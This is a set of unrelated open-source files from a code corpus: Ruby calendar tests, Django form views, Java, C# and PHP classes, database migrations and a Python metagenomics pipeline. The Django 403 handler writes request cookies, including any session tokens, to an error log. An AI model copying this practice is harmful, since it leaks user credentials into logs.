DTSTART;TZID=America/Toronto:20140724T000000 DTEND;TZID=America/Toronto:20140724T010000 ATTENDEE:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT BEGIN:VEVENT SEQUENCE:2 UID:foobar DTSTART;TZID=America/Toronto:20140725T000000 DTEND;TZID=America/Toronto:20140725T010000 ATTENDEE;PARTSTAT=ACCEPTED:mailto:foo@example.org ORGANIZER:mailto:bar@example.org RECURRENCE-ID;TZID=America/Toronto:20140725T000000 END:VEVENT END:VCALENDAR ICS process(itip, old, expected) end def test_reply_party_crash_create_excepton # IN this test there's a recurring event that has an exception. The # exception is missing the attendee. # # The attendee party crashes the instance, so it should show up in the # resulting object. itip = <<ICS BEGIN:VCALENDAR VERSION:2.0 METHOD:REPLY BEGIN:VEVENT ATTENDEE;PARTSTAT=ACCEPTED;CN=Crasher!:mailto:crasher@example.org ORGANIZER:mailto:bar@example.org SEQUENCE:2 RECURRENCE-ID:20140725T000000Z UID:foobar END:VEVENT END:VCALENDAR ICS old = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar RRULE:FREQ=DAILY DTSTART:20140724T000000Z DTEND:20140724T010000Z ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS expected = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar RRULE:FREQ=DAILY DTSTART:20140724T000000Z DTEND:20140724T010000Z ORGANIZER:mailto:bar@example.org END:VEVENT BEGIN:VEVENT SEQUENCE:2 UID:foobar DTSTART:20140725T000000Z DTEND:20140725T010000Z ORGANIZER:mailto:bar@example.org RECURRENCE-ID:20140725T000000Z ATTENDEE;PARTSTAT=ACCEPTED;CN=Crasher!:mailto:crasher@example.org END:VEVENT END:VCALENDAR ICS process(itip, old, expected) end def test_reply_new_exception_no_master_event # This iTip message would normally create a new exception, but the # server is not able to create this new instance, because there's no # master event to clone from. # # This test checks if the message is ignored. itip = <<ICS BEGIN:VCALENDAR VERSION:2.0 METHOD:REPLY BEGIN:VEVENT ATTENDEE;PARTSTAT=ACCEPTED;CN=Crasher!:mailto:crasher@example.org ORGANIZER:mailto:bar@example.org SEQUENCE:2 RECURRENCE-ID:20140725T000000Z UID:foobar END:VEVENT END:VCALENDAR ICS old = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar RRULE:FREQ=DAILY DTSTART:20140724T000000Z DTEND:20140724T010000Z RECURRENCE-ID:20140724T000000Z ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS expected = nil process(itip, old, expected) end def test_reply_accept_update_rsvp itip = <<ICS BEGIN:VCALENDAR VERSION:2.0 METHOD:REPLY BEGIN:VEVENT ATTENDEE;PARTSTAT=ACCEPTED:mailto:foo@example.org ORGANIZER:mailto:bar@example.org SEQUENCE:2 UID:foobar END:VEVENT END:VCALENDAR ICS old = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar ATTENDEE;RSVP=TRUE:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS expected = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar ATTENDEE;PARTSTAT=ACCEPTED;SCHEDULE-STATUS=2.0:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS process(itip, old, expected) end end end end
tilia/tilia-vobject
test/v_object/i_tip/broker_process_reply_test.rb
Ruby
bsd-3-clause
7,897
from django.core.exceptions import ImproperlyConfigured from django.core.urlresolvers import reverse from django.db import transaction from django.forms.models import inlineformset_factory, modelform_factory from django.forms.widgets import HiddenInput from django.shortcuts import get_object_or_404 from vanilla import FormView from django.utils.translation import ugettext_lazy as _ from declry.forms import BootstrapModelForm from django import http from django.utils.decorators import classonlymethod from django.template import (RequestContext, loader, TemplateDoesNotExist) import autocomplete_light from django.views.decorators.csrf import requires_csrf_token import logging import smtplib from email.mime.text import MIMEText __author__ = 'jorgeramos' class ModelFormView(FormView): model = None related_model = None success_url_path = '{}_{}_view' success_url_args = '' template_name = "edit.html" title = _('Edit') form = BootstrapModelForm fields = None hidden_fields = [] exclude = [] formfield_callback = None instance = None @classonlymethod def as_view(cls, **initkwargs): view = super(ModelFormView, cls).as_view(**initkwargs) if hasattr(cls, 'title'): view.label = cls.title return view def get_form_class(self): """ Returns the form class to use in this view. """ if self.form_class: return self.form_class elif self.related_model: widgets = autocomplete_light.get_widgets_dict(self.related_model) return modelform_factory(self.related_model, widgets = widgets, form = self.form, fields=self.fields, exclude =self.exclude, formfield_callback=self.get_formfield_callback()) elif self.model: widgets = autocomplete_light.get_widgets_dict(self.model) return modelform_factory(self.model, widgets = widgets, form = self.form, fields=self.fields, exclude =self.exclude, formfield_callback=self.get_formfield_callback()) msg = "'%s' must either define 'form_class' or define 'model' or override 'get_form_class()'" raise ImproperlyConfigured(msg % self.__class__.__name__) def get_form(self, data=None, files=None, **kwargs): """ Given `data` and `files` QueryDicts, and optionally other named arguments, and returns a form. """ cls = self.get_form_class() return cls(instance = self.get_modelform_instance(), data=data, files=files, **kwargs) def get(self, request, object_id=None, *args, **kwargs): self.request = request self.object_id = object_id form = self.get_form() context = self.get_context_data(form=form) return self.render_to_response(context) def post(self, request, object_id=None): self.request = request self.object_id = object_id if 'go_back' in request.POST: return self.form_valid(None) form = self.get_form(data=request.POST, files=request.FILES) if form.is_valid(): inst= form.save() if not self.object_id: self.object_id = inst.pk self.success_url = self.get_success_url() return self.form_valid(form) return self.form_invalid(form) def get_success_url(self): return reverse(self.success_url_path.format(self.model._meta.app_label, self.model._meta.module_name), args=(self.object_id,)) + self.success_url_args def form_invalid(self, form, **kwargs): context = self.get_context_data(form=form, **kwargs) return self.render_to_response(context) def get_context_data(self, **kwargs): kwargs['title'] = self.title kwargs['instance'] = self.get_instance() kwargs['view'] = self return kwargs def get_formfield_callback(self): def formfield_callback(f, **kwargs): field = f.formfield(**kwargs) if f.name in self.hidden_fields: field.widget = HiddenInput() return field return formfield_callback def get_instance(self): if self.instance: return self.instance if self.request and self.object_id: return get_object_or_404(self.model, pk=self.object_id) def get_modelform_instance(self): return self.get_instance() class InlineFormView(FormView): model = None related_model = None form = BootstrapModelForm prefix = "inlineform" template_name = "inline_edit.html" title = None instance = None success_path = '{}_{}_view' success_path_args = '' fields = None extra = 1 exclude = [] formfield_callback = None @classonlymethod def as_view(cls, **initkwargs): view = super(InlineFormView,cls).as_view(**initkwargs) if hasattr(cls, 'title'): view.label = cls.title return view def get_form_class(self): """ Returns the form class to use in this view. """ if self.form_class: return self.form_class if self.model and self.related_model: return inlineformset_factory(self.model, self.related_model, form=self.form, extra=self.extra, exclude = self.exclude, fields = self.fields, formfield_callback= self.get_formfield_callback()) msg = "'%s' must either define 'form_class' or define 'model' and 'related_model' or override 'get_form_class()'" raise ImproperlyConfigured(msg % self.__class__.__name__) def get_form(self, data=None, files=None, **kwargs): """ Given `data` and `files` QueryDicts, and optionally other named arguments, and returns a form. """ cls = self.get_form_class() return cls(prefix = self.prefix, instance=self.get_instance(), data=data, files=files, **kwargs) def get_context_data(self, **kwargs): """ Takes a set of keyword arguments to use as the base context, and returns a context dictionary to use for the view, additionally adding in 'view'. """ kwargs.update({ 'prefix' : self.prefix, 'title': self.title, 'instance' : self.get_instance() }) kwargs['view'] = self return kwargs def get(self, request, object_id, *args, **kwargs): self.request = request self.object_id = object_id form = self.get_form() context = self.get_context_data(form=form) return self.render_to_response(context) def post(self, request, object_id): self.request = request self.object_id = object_id if 'add_{}'.format(self.prefix) in request.POST: return self.process_add_element() elif 'go_back' in request.POST: return self.form_valid(None) else: form = self.get_form(data = request.POST, files= request.FILES) if form.is_valid(): with transaction.commit_on_success(): #try: form.save() #except: # transaction.rollback() return self.form_valid(form) return self.form_invalid(form) def process_add_element(self): post_copy = self.request.POST.copy() post_copy['{}-TOTAL_FORMS'.format(self.prefix)] = int(post_copy['{}-TOTAL_FORMS'.format(self.prefix)]) + 1 form = self.get_form(data=post_copy, files=self.request.FILES) context = self.get_context_data(form=form) return self.render_to_response(context) def get_success_url(self): if self.success_path is None: msg = "'%s' must define 'success_url' or override 'form_valid()'" raise ImproperlyConfigured(msg % self.__class__.__name__) else: return reverse(self.success_path.format(self.model._meta.app_label, self.model._meta.module_name), args=(self.object_id,)) + self.success_path_args def get_instance(self): if self.instance: return self.instance if self.request and self.object_id: return get_object_or_404(self.model, pk=self.object_id) def get_formfield_callback(self): return self.formfield_callback # This can be called when CsrfViewMiddleware.process_view has not run, # therefore need @requires_csrf_token in case the template needs # {% csrf_token %}. session_logger = logging.getLogger('session') @requires_csrf_token def permission_denied(request, template_name='403.html'): """ Permission denied (403) handler. Templates: :template:`403.html` Context: None If the template does not exist, an Http403 response containing the text "403 Forbidden" (as per RFC 2616) will be returned. """ print "YAAAA" email_txt=""" Erro 403 Path: {} Cookies: {} User: {} Roles: {} Bom trabalho A Equipa do Scholr """ user = request.user if hasattr(request, 'user') else '?' roles = request.user.roles if hasattr(request, 'user') and hasattr(request.user,'roles') else '---' session_logger.error(u'{} with cookies {}, user: {}, roles: {}'.format(request.path, request.COOKIES, user, roles)) try: template = loader.get_template(template_name) except TemplateDoesNotExist: return http.HttpResponseForbidden('<h1>403 TESTE</h1>') return http.HttpResponseForbidden(template.render(RequestContext(request)))
jAlpedrinha/DeclRY
declry/views.py
Python
bsd-3-clause
9,652
package de.plushnikov.intellij.plugin.processor.handler.singular; import com.intellij.psi.PsiAnnotation; import com.intellij.psi.PsiClass; import com.intellij.psi.PsiField; import com.intellij.psi.PsiMethod; import com.intellij.psi.PsiSubstitutor; import com.intellij.psi.PsiType; import com.intellij.psi.PsiVariable; import de.plushnikov.intellij.plugin.processor.field.AccessorsInfo; import org.jetbrains.annotations.NotNull; import java.util.List; class EmptyBuilderElementHandler implements BuilderElementHandler { @Override public void addBuilderField(@NotNull List<PsiField> fields, @NotNull PsiVariable psiVariable, @NotNull PsiClass innerClass, @NotNull AccessorsInfo accessorsInfo, @NotNull PsiSubstitutor substitutor) { } @Override public void addBuilderMethod(@NotNull List<PsiMethod> methods, @NotNull PsiVariable psiVariable, @NotNull String fieldName, @NotNull PsiClass innerClass, boolean fluentBuilder, PsiType returnType, String singularName, PsiSubstitutor builderSubstitutor) { } @Override public String createSingularName(PsiAnnotation singularAnnotation, String psiFieldName) { return psiFieldName; } @Override public void appendBuildPrepare(@NotNull StringBuilder buildMethodParameters, @NotNull PsiVariable psiVariable, @NotNull String fieldName) { } @Override public void appendBuildCall(@NotNull StringBuilder buildMethodParameters, @NotNull String fieldName) { buildMethodParameters.append(fieldName); } }
AlexejK/lombok-intellij-plugin
src/main/java/de/plushnikov/intellij/plugin/processor/handler/singular/EmptyBuilderElementHandler.java
Java
bsd-3-clause
1,477
using System; using RedGate.Shared.SQL; using RedGate.SQLCompare.Engine; namespace SyncDBNantTasks { public abstract class SyncDatabaseParmsBase { private DBConnectionInformation connection; public Database RegisteredDatabase { get; protected set; } public DBConnectionInformation Connection { get { if (connection == null) { throw new NotImplementedException("Connection not supported"); } else { return connection; } } set { connection = value; } } } }
tcabanski/SouthSideDevToys
SyncDBNantTasks/SyncDatabaseParmsBase.cs
C#
bsd-3-clause
637
using System.Data; using Orchard.ContentManagement.MetaData; using Orchard.Core.Contents.Extensions; using Orchard.Data.Migration; using Orchard.SEO.Services; namespace Orchard.SEO { public class Migrations : DataMigrationImpl { public int Create() { SchemaBuilder.CreateTable("MetaRecord", table => table .ContentPartRecord() .Column<string>("Keywords") .Column<string>("Title") .Column<string>("Description") .Column<string>("Robots") ); ContentDefinitionManager.AlterPartDefinition( "MetaPart", cfg => cfg .WithDescription("Provides meta tags: title, description, keywords, robots") .Attachable()); SchemaBuilder.CreateTable("RobotsFileRecord", table => table .Column<int>("Id", col => col.PrimaryKey().Identity()) .Column<string>("FileContent", col => col.Unlimited() .WithDefault(@"User-agent: * Allow: /")) ); SchemaBuilder.CreateTable("SitemapFileRecord", table => table .Column<int>("Id", col => col.PrimaryKey().Identity()) .Column<string>("FileContent", col => col.Unlimited().WithDefault(SitemapService.DefaultFileText)) ); return 1; } } }
dmitry-urenev/extended-orchard-cms-v10.1
src/Orchard.Web/Modules/Orchard.SEO/Migrations.cs
C#
bsd-3-clause
1,459
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations from django.conf import settings class Migration(migrations.Migration): dependencies = [ ('users', '0001_initial'), ] operations = [ migrations.CreateModel( name='FanUser', fields=[ ('user_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to=settings.AUTH_USER_MODEL)), ('slug', models.SlugField(unique=True)), ('is_contributor', models.BooleanField(default=False)), ('desc', models.TextField(blank=True)), ], options={ 'abstract': False, 'verbose_name': 'user', 'verbose_name_plural': 'users', }, bases=('users.user',), ), ]
vivyly/fancastic_17
fancastic_17/fan/migrations/0001_initial.py
Python
bsd-3-clause
909
/* * Copyright (c) 2015, Institute of Computer Engineering, University of Lübeck * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * * Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package de.uni_luebeck.iti.smachapp.app; import android.app.Activity; import android.os.Bundle; import android.text.Editable; import android.text.TextWatcher; import android.view.View; import android.widget.EditText; import android.widget.LinearLayout; import android.widget.TextView; import android.widget.Toast; import java.util.HashMap; import de.uni_luebeck.iti.smachapp.model.BeepColorSensor; import de.uni_luebeck.iti.smachapp.model.BeepIRSensor; import de.uni_luebeck.iti.smachapp.model.BeepRobot; import de.uni_luebeck.iti.smachapp.model.StateMachine; import de.uni_luebeck.iti.smachapp.model.Transition; import de.uni_luebeck.iti.smachapp.view.ColorSelector; import de.uni_luebeck.iti.smachapp.view.IntSlider; import de.uni_luebeck.iti.smachapp.view.SensorUI; public class TransitionProperty extends Activity implements TextWatcher { private Transition transition; private StateMachine machine; private int priority; private int maxPriority; private HashMap<String, SensorUI> uis = new HashMap<String, SensorUI>(); private TextView priorityField; private static Transition setupTransition; private static BeepRobot setupRobot; private static StateMachine setupMachine; private static int setupPriority; private static int setupMaxPriority; public static int getPriority() { return setupPriority; } public static void setupTransition(Transition t, BeepRobot r, StateMachine m, int pri, int maxPri) { setupTransition = t; setupRobot = r; setupMachine = m; setupPriority = pri; setupMaxPriority = maxPri; } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_transition_property); transition = setupTransition; machine = setupMachine; BeepRobot robot = setupRobot; priority = setupPriority; maxPriority = setupMaxPriority; priorityField = (TextView) findViewById(R.id.priority); priorityField.setText(String.valueOf(priority)); LinearLayout container = (LinearLayout) findViewById(R.id.sensorContainer); for (BeepIRSensor sen : robot.getIntSensors()) { IntSlider slider = new IntSlider(this, sen); container.addView(slider); uis.put(sen.getName(), slider); slider.setToGuard(transition.getSmachableGuard(), true); slider.setToGuard(transition.getDisabledGuard(), false); } for (BeepColorSensor sen : robot.getColorSensors()) { ColorSelector sel = new ColorSelector(this, sen); container.addView(sel); uis.put(sen.getName(), sel); sel.setToGuard(transition.getSmachableGuard(), true); sel.setToGuard(transition.getDisabledGuard(), false); } EditText text = (EditText) findViewById(R.id.transitionName); text.setText(transition.getLabel()); text.addTextChangedListener(this); } @Override public void onBackPressed() { String newName = ((EditText) findViewById(R.id.transitionName)).getText().toString().trim(); if (!newName.equals(transition.getLabel()) && !newName.isEmpty()) { if (machine.getTransition(newName) == null) { transition.setLabel(newName); } else { Toast toast = Toast.makeText(this, R.string.nameAlreadyExists, Toast.LENGTH_LONG); toast.show(); return; } } transition.getSmachableGuard().clear(); transition.getDisabledGuard().clear(); for (SensorUI ui : uis.values()) { if (ui.isChecked()) { ui.fillGuard(transition.getSmachableGuard()); } else { ui.fillGuard(transition.getDisabledGuard()); } } setupPriority = priority; finish(); } @Override public void beforeTextChanged(CharSequence charSequence, int i, int i2, int i3) { } @Override public void onTextChanged(CharSequence charSequence, int i, int i2, int i3) { } @Override public void afterTextChanged(Editable editable) { String name = editable.toString().trim(); if (!name.equals(transition.getLabel()) && machine.getTransition(name) != null) { Toast toast = Toast.makeText(this, R.string.nameAlreadyExists, Toast.LENGTH_LONG); toast.show(); } if (name.isEmpty()) { Toast toast = Toast.makeText(this, R.string.empty_name_in_property, Toast.LENGTH_LONG); toast.show(); } } public void increasePriority(View view) { priority = priority + 1; if(priority>maxPriority){ priority=maxPriority; Toast.makeText(this,R.string.max_priority_reached,Toast.LENGTH_SHORT).show(); } priorityField.setText(String.valueOf(priority)); } public void decreasePriority(View view) { priority = priority - 1; if(priority<0){ priority=0; Toast.makeText(this,R.string.min_priority_reached,Toast.LENGTH_SHORT).show(); } priorityField.setText(String.valueOf(priority)); } }
iti-luebeck/SmachApp
app/src/main/java/de/uni_luebeck/iti/smachapp/app/TransitionProperty.java
Java
bsd-3-clause
6,939
<?php // autoload.php @generated by Composer require_once __DIR__ . '/composer' . '/autoload_real.php'; return ComposerAutoloaderInit29a195fdeafbaf46892c28c394475c18::getLoader();
sagargopale/zend-api-dev
vendor/autoload.php
PHP
bsd-3-clause
183
<?php namespace Database\Entity; use Doctrine\ORM\Mapping as ORM; /** * Purchases * * @ORM\Table(name="Purchases", indexes={@ORM\Index(name="fk_Purchases_Suppliers1_idx", columns={"supplier_id"})}) * @ORM\Entity */ class Purchases { /** * @var integer * * @ORM\Column(name="purchase_id", type="integer", precision=0, scale=0, nullable=false, unique=false) * @ORM\Id * @ORM\GeneratedValue(strategy="IDENTITY") */ private $purchaseId; /** * @var string * * @ORM\Column(name="reference_no", type="string", length=45, precision=0, scale=0, nullable=true, unique=false) */ private $referenceNo; /** * @var \DateTime * * @ORM\Column(name="purchase_date", type="date", precision=0, scale=0, nullable=true, unique=false) */ private $purchaseDate; /** * @var \DateTime * * @ORM\Column(name="expected_arrival_date", type="date", precision=0, scale=0, nullable=true, unique=false) */ private $expectedArrivalDate; /** * @var string * * @ORM\Column(name="purchase_status", type="string", length=45, precision=0, scale=0, nullable=true, unique=false) */ private $purchaseStatus; /** * @var string * * @ORM\Column(name="purchase_notes", type="text", precision=0, scale=0, nullable=true, unique=false) */ private $purchaseNotes; /** * @var \Database\Entity\Suppliers * * @ORM\ManyToOne(targetEntity="Database\Entity\Suppliers") * @ORM\JoinColumns({ * @ORM\JoinColumn(name="supplier_id", referencedColumnName="supplier_id", nullable=true) * }) */ private $supplier; /** * Get purchaseId * * @return integer */ public function getPurchaseId() { return $this->purchaseId; } /** * Set referenceNo * * @param string $referenceNo * @return Purchases */ public function setReferenceNo($referenceNo) { $this->referenceNo = $referenceNo; return $this; } /** * Get referenceNo * * @return string */ public function getReferenceNo() { return $this->referenceNo; } /** * Set purchaseDate * * @param \DateTime $purchaseDate * @return Purchases */ public function setPurchaseDate($purchaseDate) { $this->purchaseDate = $purchaseDate; return $this; } /** * Get purchaseDate * * @return \DateTime */ public function getPurchaseDate() { return $this->purchaseDate; } /** * Set expectedArrivalDate * * @param \DateTime $expectedArrivalDate * @return Purchases */ public function setExpectedArrivalDate($expectedArrivalDate) { $this->expectedArrivalDate = $expectedArrivalDate; return $this; } /** * Get expectedArrivalDate * * @return \DateTime */ public function getExpectedArrivalDate() { return $this->expectedArrivalDate; } /** * Set purchaseStatus * * @param string $purchaseStatus * @return Purchases */ public function setPurchaseStatus($purchaseStatus) { $this->purchaseStatus = $purchaseStatus; return $this; } /** * Get purchaseStatus * * @return string */ public function getPurchaseStatus() { return $this->purchaseStatus; } /** * Set purchaseNotes * * @param string $purchaseNotes * @return Purchases */ public function setPurchaseNotes($purchaseNotes) { $this->purchaseNotes = $purchaseNotes; return $this; } /** * Get purchaseNotes * * @return string */ public function getPurchaseNotes() { return $this->purchaseNotes; } /** * Set supplier * * @param \Database\Entity\Suppliers $supplier * @return Purchases */ public function setSupplier(\Database\Entity\Suppliers $supplier = null) { $this->supplier = $supplier; return $this; } /** * Get supplier * * @return \Database\Entity\Suppliers */ public function getSupplier() { return $this->supplier; } }
devhood/erp-blpi
module/Database/src/Entity/Purchases.php
PHP
bsd-3-clause
4,349
""" ===================================================== Analysis for project 29 ===================================================== :Author: Nick Ilott :Release: $Id$ :Date: |today| :Tags: Python """ # load modules from ruffus import * import CGAT.Experiment as E import logging as L import CGAT.Database as Database import CGAT.CSV as CSV import sys import os import re import shutil import itertools import math import glob import time import gzip import collections import random import numpy import sqlite3 import CGAT.GTF as GTF import CGAT.IOTools as IOTools import CGAT.IndexedFasta as IndexedFasta from rpy2.robjects import r as R import rpy2.robjects as ro import rpy2.robjects.vectors as rovectors from rpy2.rinterface import RRuntimeError #from pandas import * import PipelineProj029 ################################################### ################################################### ################################################### # Pipeline configuration ################################################### # load options from the config file import CGATPipelines.Pipeline as P P.getParameters( ["pipeline.ini"]) PARAMS = P.PARAMS ################################################################### # connecting to database ################################################################### def connect(): '''connect to database. This method also attaches to helper databases. ''' dbh = sqlite3.connect(PARAMS["database"]) return dbh ################################################################### ################################################################### ################################################################### # This first section deals with collating the information from # pipeline_metagenomeassembly.py. We produce plots of relative # abundance correllations etc between different samples ################################################################### ################################################################### ################################################################### @follows(mkdir("metaphlan.dir")) @split(os.path.join(PARAMS.get("communities_dir"), PARAMS.get("communities_db")), "metaphlan.dir/relab.*.matrix") def buildRelativeAbundanceMatricesMetaphlan(infile, outfiles): ''' build a matrix combining the relative abundance estimations for all samples ''' # filenames to derive tablenames dirname = PARAMS.get("communities_dir") exp = "metaphlan.dir/*.relab" files = glob.glob(os.path.join(dirname, exp)) tablenames = [ os.path.basename(x).replace(".", "_").replace("-", "_") \ for x in files] tablenames.sort() for level in ["phylum", "class", "order", "family", "genus", "species"]: outfile = os.path.join("communities.dir", "relab." + level + ".matrix") PipelineProj029.buildRelativeAbundanceMatrix(infile, tablenames, outfile, level = level) ################################################################### ################################################################### ################################################################### @follows(mkdir("kraken.dir")) @split(os.path.join(PARAMS.get("communities_dir"), PARAMS.get("communities_db")), "kraken.dir/*norm*.matrix") def buildAbundanceMatricesKraken(infile, outfiles): ''' build a matrix combining the rpm estimations for all samples ''' # filenames to derive tablenames dirname = PARAMS.get("communities_dir") exp = "kraken.dir/*.counts.norm.tsv.gz" files = glob.glob(os.path.join(dirname, exp)) tablenames = [ "kraken_" + os.path.basename(P.snip(x, ".tsv.gz")).replace(".", "_").replace("-", "_") \ for x in files] tablenames.sort() for level in ["phylum", "class", "order", "family", "genus", "species"]: outfile = os.path.join("kraken.dir", "counts.norm." + level + ".matrix") PipelineProj029.buildRelativeAbundanceMatrix(infile, tablenames, outfile, level = level) ################################################################### ################################################################### ################################################################### @follows(mkdir("diamond.dir")) @split(os.path.join(PARAMS.get("communities_dir"), PARAMS.get("communities_db")), "diamond.dir/*norm*.matrix") def buildAbundanceMatricesDiamond(infile, outfiles): ''' build a matrix combining the rpm estimations for all samples ''' # filenames to derive tablenames dirname = PARAMS.get("communities_dir") exp = "diamond.dir/*.taxa.count" files = glob.glob(os.path.join(dirname, exp)) tablenames = [ os.path.basename(x).replace(".", "_").replace("-", "_") \ for x in files] tablenames.sort() for level in ["phylum", "class", "order", "family", "genus", "species"]: outfile = os.path.join("diamond.dir", "counts.norm." + level + ".matrix") PipelineProj029.buildRelativeAbundanceMatrix(infile, tablenames, outfile, level = level) ################################################################### ################################################################### ################################################################### COMMUNITIES_TARGETS = [] communities_targets = {"kraken": buildAbundanceMatricesKraken, "metaphlan": buildRelativeAbundanceMatricesMetaphlan, "diamond": buildAbundanceMatricesDiamond} for x in P.asList(PARAMS.get("classifiers")): COMMUNITIES_TARGETS.append(communities_targets[x]) @transform(COMMUNITIES_TARGETS, suffix(".matrix"), ".barplot.pdf") def barplotAbundances(infile, outfile): ''' barplot the species relative abundances ''' threshold = PARAMS.get("communities_threshold") PipelineProj029.barplotAbundances(infile, outfile, threshold) ################################################################### ################################################################### ################################################################### @transform(COMMUNITIES_TARGETS, suffix(".matrix"), ".ratio.tsv") def calculateFirmicutesBacteroidetesRatio(infile, outfile): ''' barplot the species relative abundances ''' threshold = PARAMS.get("communities_threshold") PipelineProj029.calculateFirmicutesBacteroidetesRatio(infile, outfile, threshold) ################################################################### ################################################################### ################################################################### @transform(calculateFirmicutesBacteroidetesRatio, suffix(".tsv"), ".pdf") def plotFirmicutesBacteroidetesRatio(infile, outfile): ''' produce boxplot of firmicutes/bacteroidetes ratio ''' PipelineProj029.plotFirmicutesBacteroidetesRatio(infile, outfile) ################################################################### ################################################################### ################################################################### @transform(calculateFirmicutesBacteroidetesRatio, suffix(".tsv"), ".signif") def calculateSignificanceOfFirmicutesBacteroidetesRatio(infile, outfile): ''' use tuleyHSD to calculate significance between groups with multiple testing correction ''' PipelineProj029.calculateSignificanceOfFirmicutesBacteroidetesRatio(infile, outfile) ################################################################### ################################################################### ################################################################### @jobs_limit(1, "R") @transform(COMMUNITIES_TARGETS, suffix(".matrix"), ".barplot.numbers.pdf") def plotHowManySpecies(infile, outfile): ''' how many samples have how many species? ''' PipelineProj029.plotHowManySpecies(infile, outfile) ################################################################### ################################################################### ################################################################### @transform(COMMUNITIES_TARGETS, suffix(".matrix"), ".heatmap.pdf") def heatmapAbundances(infile, outfile): ''' heatmap the species relative abundances ''' threshold = PARAMS.get("communities_threshold") PipelineProj029.heatmapAbundances(infile, outfile, threshold, "covariates.tsv") ################################################################### ################################################################### ################################################################### @transform(COMMUNITIES_TARGETS, suffix(".matrix"), ".signif") def testSignificanceOfAbundances(infile, outfile): ''' use an anova to test significance. This is not ideal but serves as a quick look ''' PipelineProj029.anovaTest(infile, "covariates.tsv", outfile, threshold = PARAMS.get("communities_threshold"), over = PARAMS.get("communities_over")) ################################################################### ################################################################### ################################################################### @transform(testSignificanceOfAbundances, suffix(".signif"), add_inputs(COMMUNITIES_TARGETS), ".signif.pdf") def plotSignificantResults(infiles, outfile): ''' barplot those taxa that are different across groups ''' inf = infiles[0] track = P.snip(inf, ".signif") abundance_file = [m for m in infiles[1] if m.find(track) != -1][0] threshold = PARAMS.get("communities_threshold") PipelineProj029.plotSignificantResults(inf, abundance_file, outfile, threshold) ################################################################### ################################################################### ################################################################### # KEGG analysis ################################################################### ################################################################### ################################################################### @follows(mkdir("kegg.dir")) @merge(glob.glob(os.path.join(PARAMS.get("communities_dir"), "kegg.dir/*.kegg.counts")), "kegg.dir/kegg.pathways.matrix") def combineKeggTables(infiles, outfile): ''' merge counts for kegg pathways ''' headers = ",".join( [re.match(".*.dir/(.*).kegg.counts", x).groups()[0] for x in infiles]) directory = os.path.dirname(infiles[0]) statement = '''python %(scriptsdir)s/combine_tables.py --glob=%(directory)s/*.kegg.counts --headers=%(headers)s --columns=1 --log=%(outfile)s.log > %(outfile)s''' P.run() ######################################### ######################################### ######################################### @follows(barplotAbundances, plotFirmicutesBacteroidetesRatio, calculateSignificanceOfFirmicutesBacteroidetesRatio, plotHowManySpecies, heatmapAbundances, plotSignificantResults) def full(): pass ######################################### ######################################### ######################################### if __name__ == "__main__": sys.exit(P.main(sys.argv))
CGATOxford/proj029
Proj029Pipelines/pipeline_proj029.py
Python
bsd-3-clause
12,528
/* * Copyright (c) 2012, United States Government, as represented by the Secretary of Health and Human Services. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above * copyright notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * Neither the name of the United States Government nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE UNITED STATES GOVERNMENT BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 